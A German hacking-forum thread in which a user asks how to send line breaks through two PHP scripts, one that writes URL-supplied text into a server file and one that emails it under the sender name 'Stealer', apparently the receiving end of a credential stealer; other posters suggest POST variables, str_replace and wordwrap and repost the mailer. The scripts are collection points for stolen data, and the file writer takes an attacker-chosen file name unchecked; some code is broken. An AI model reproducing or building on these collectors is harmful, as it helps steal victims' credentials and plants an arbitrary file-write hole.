Ergebnis 1 bis 9 von 9
  1. #1
    Capt'n Crunch Avatar von hackerking
    Registriert seit
    08.11.2008
    Beiträge
    964

    Standard Send.php & Email.php Zeilenumbruch übergeben?

    Jop Hey Leute... Hab mal ein paar fragen.
    Hab um ein log auf'm FTP zu speichern das teil: (von tmh paar threads unten)

    Code:
    <?php
    
    $Datei = $_GET['file'];
    $Text = $_GET['text']; 
    
    $FilePointer = fopen($Datei.".txt", "w");
    fwrite($FilePointer, $Text);
    fclose($FilePointer);
    
    ?>
    und für email das:

    Code:
    <?php
          $mailtext= $_GET['msg']; 
    
          $absender="From:";
          $absender.="Stealer"; 
          mail("Mail",$benutzer,$mailtext,$absender); eintragen
          print("E-mail wurde erfolgreich verschickt!");
    ?>
    <html>
    <body>
    </body>
    </html>
    Wie kann ich jetzt bei beiden zeilenumbrüchje übergeben?

  2. #2
    Fortgeschrittener Avatar von BallaBurg
    Registriert seit
    20.01.2008
    Beiträge
    46

    Standard

    Zeilenumbrüche werden in PHP mit "\n\r" übergeben. Wichtig dass du " (DoubleQuotes) benutzt.

    H.o.n.K.
    Hauptschüler ohne nenneswerte Kenntnisse

  3. #3
    Capt'n Crunch Avatar von hackerking
    Registriert seit
    08.11.2008
    Beiträge
    964

    Standard

    klappt nicht...
    habs so gemacht:

    send.php?msg=TestMail"\n\r"affs

  4. #4
    Fortgeschrittener Avatar von BallaBurg
    Registriert seit
    20.01.2008
    Beiträge
    46

    Standard

    Warum benutzt du für sowas ne GET-Variable? POST-Vars wären für einen längeren Text viel besser und da funktioniert es sehr gut mit den Zeilenumbrüchen.

    H.o.n.K.
    Hauptschüler ohne nenneswerte Kenntnisse

  5. #5
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Code:
    $mailtext = str_replace("<br>","\n\r",$_GET['msg']);
    Nur so als Beispiel...
    send.php?msg=Text<br>TextindernaechstenZeile<br>un dsoweiter
    Das <br> würde dann mit \n\r ersetzt werden.
    Oder wie wäre es mit folgendem:

    Code:
    $mailtext = wordwrap($_GET['msg'],10,"\n\r");
    Ist etwas schöner...
    Hierbei wird nach zehn Zeichen automatisch ein \n\r hinzugefügt.
    Jedoch stimmt das nicht ganz mit den Double-Quotes. Wenn Du diese per URL übergibst sähe das so aus:

    Code:
    $mailtext = "TestMail"\n\r"affs";
    Wenn ich jetzt mal die Variable mit dem ersetze, was dahinter steckt .
    Ich persönlich würde aber ebenfalls die Übertragung per POST bevorzugen...
    Come to the dark side - We have cookies

  6. #6
    Capt'n Crunch Avatar von hackerking
    Registriert seit
    08.11.2008
    Beiträge
    964

    Standard

    Und wie überträgt man per POST?^^
    kenn mich nich mit PHP aus^^

    EDIT// @Power-Seven das klappt nicht
    Geändert von hackerking (07.06.2009 um 13:25 Uhr)

  7. #7
    DateMake Dialer
    Registriert seit
    17.05.2009
    Beiträge
    117

    Standard

    per post variable übetragen:
    PHP-Code:
    <form method="post">
    Nachricht<textarea id="mail"></textarea>
    <input type="submit" value="abschicken">
    <?
    $mail = $_POST['mail'];
    ?>
    Ich würd dir empfehlen ein PHP tutorial durchzulesen, bevor du dich an so etwas wagst, den Post Get und Cookies gehörn zu den Basics die du beherrschen solltest.

  8. #8
    Capt'n Crunch Avatar von hackerking
    Registriert seit
    08.11.2008
    Beiträge
    964

    Standard

    das funktz i-wie nich..
    kannste mal den komplette ncode posten?

  9. #9
    Bad Times Virus
    Registriert seit
    14.03.2009
    Beiträge
    579

    Standard

    lawl
    das wird auch nich funktionieren weil du dafür auch den steler umschreiben müsstest.
    Aba hey gute laune:
    Code:
    <?php
          $mailtext= $_POST['msg']; 
    
          $absender="From:";
          $absender.="Stealer"; 
          mail("Mail",$benutzer,$mailtext,$absender); eintragen
          print("E-mail wurde erfolgreich verschickt!");
    ?>
    <html>
    <body>
    </body>
    jetzt musst du natürlich noch zeilenümbruche reinmachen...
    </html>

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •